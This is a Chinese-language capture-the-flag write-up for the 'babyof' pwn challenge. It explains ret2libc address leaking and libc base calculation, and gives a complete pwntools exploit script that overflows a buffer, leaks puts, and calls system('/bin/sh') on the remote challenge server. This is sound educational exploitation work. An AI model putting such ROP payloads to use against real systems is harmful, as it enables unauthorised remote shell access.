[2021 鹤城杯]babyof

题目分析

#checksec babyof

寻找pop_rdi_ret地址:

ROPgadget --binary ./babyof --only "pop|ret"

objdump -d -j .plt ./babyof |grep system
这里是用来查看plt表中所有调用的函数

知识点:

ret2libc3—system /bin/sh 的寻址,计算libc基址

情况分为两种,libc版本已知,libc版本未知

这里有一个网址可以用来确定版本:

libc database search (blukat.me)

有libc库可以离线:

(14条消息) LibcSearcher–匹配libc版本的神器_Assassin__is__me的博客-CSDN博客

这题的题目环境有些问题,导致卡了很久,libc的版本问题

至于算基址的方法有很多,只需要根据所暴露的got plt的表中的函数地址,去算基址,以及所需要的system()execve() 这种系统级函数的地址,其中为什么需要libc的版本,是因为每个版本的函数偏移是相同的所以只需要求出基址即可。

至于泄露函数的选择:

注:不能选择_start、_ init、_fini作为预期被泄露函数,因为GNU把这三个作为了程序启动和结束的最基本运行库函数,分别放在crt1.o、crti.o、crtn.o这三个object文件中供程序链接时使用,而不是在libc.so.6中。

这一题的流程就是,在找到泄露函数,算基址,找到system()函数的基址,构造/bin/sh

语句填入其中即可执行:

exp:

from pwn import *

context.arch = 'amd64'
context.log_level = 'debug'
context.terminal = ['tmux','sp','-h']

elf = ELF('./babyof')
# libc = ELF('/lib/x86_64-linux-gnu/libc-2.27.so')

libc = ELF('./libc6_2.23-0ubuntu11.3_amd64.so')

# io = process('./babyof')
io = remote('node4.anna.nssctf.cn',28281)

prdi = 0x0000000000400743#: pop rdi
prsi = 0x0000000000400741 #: pop rsi ; pop r15 ; ret
prdx = 0x0000000000001b96 #: pop rdx ; ret

def exp():
# io.recvuntil('Do you know how to do buffer overflow?')
payload = b'a'*0x48 + p64(prdi) + p64(elf.got['puts']) + p64(elf.plt['puts']) + p64(0x40066B)
io.send(payload)

leak = u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
info(hex(leak))
#libc_base = leak - libc.sym['puts']
libc_base = leak - 0x80aa0
#system = libc_base + libc.sym['system']
system = libc_base + 0x4f550
info(hex(system))
#binsh = libc_base + next(libc.search(b'/bin/sh\x00'))
binsh = libc_base + 0x1b3e1a
pop_rdx = libc_base + prdx

# io.recvuntil('Do you know how to do buffer overflow?')
payload = b'a'*0x48 +p64(pop_rdx)+p64(0)+p64(prsi)+p64(0)*2 +p64(prdi) + p64(binsh) + p64(system)
# gdb.attach(io)
io.send(payload)

exp()

io.interactive()